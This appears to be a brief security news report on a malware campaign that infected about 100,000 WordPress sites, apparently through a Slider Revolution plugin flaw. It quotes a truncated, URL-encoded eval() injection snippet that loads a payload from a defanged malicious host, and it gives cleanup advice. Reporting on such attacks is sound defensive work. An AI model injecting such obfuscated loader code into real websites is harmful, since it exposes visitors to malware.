100’s of Thousands Wordpress Sites infected with Dangerous Malware

About 100,000 or more websites running the WordPress content management system have been compromised by mysterious malware that turns the infected sites into attack platforms that can target visitors, security researchers said.

source sucuri

The campaign has prompted Google to flag more than 11,000 domains as malicious, but many more sites have been detected as compromised, according to a blog post published Sunday by Sucuri, a firm that helps website operators secure their servers. Researchers have yet to confirm the cause of the infection, but they suspect it's related to a vulnerability in Slider Revolution, a WordPress plugin, that was disclosed in early September.


The in-the-wild attack observed by Sucuri causes infected sites to load highly obfuscated attack code on every webpage that looks like this:

eval(decodeURIComponent
("%28%0D%0A%66%75%6E%63%74%69%6F%6E%28%29%0D%0A%7B%0D%..72%69%70%74%2E%69%64%3D%27%78%78%79%79%7A%7A%5F%70%65%74%75%73%68%6F%6B%27%3B%0D%0A%09%68%65%61%64%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%73%63%72%69%70%74%29%3B%0D%0A%7D%28%29%0D%0A%29%3B"));

Source sucuri

The code causes pages to download the malicious payload from hxxp://soaksoak.ru/xteas/code. Judging from some of the reader comments, some administrators were surprised to find that the sites they oversee were infected. Sucuri's free site check scanner will detect sites that are actively compromised. Disinfection involves removing malicious code added to a script located at wp-includes/template-loader.php. WordPress admins who use the Slider Revolution plugin should also ensure it's up to date.

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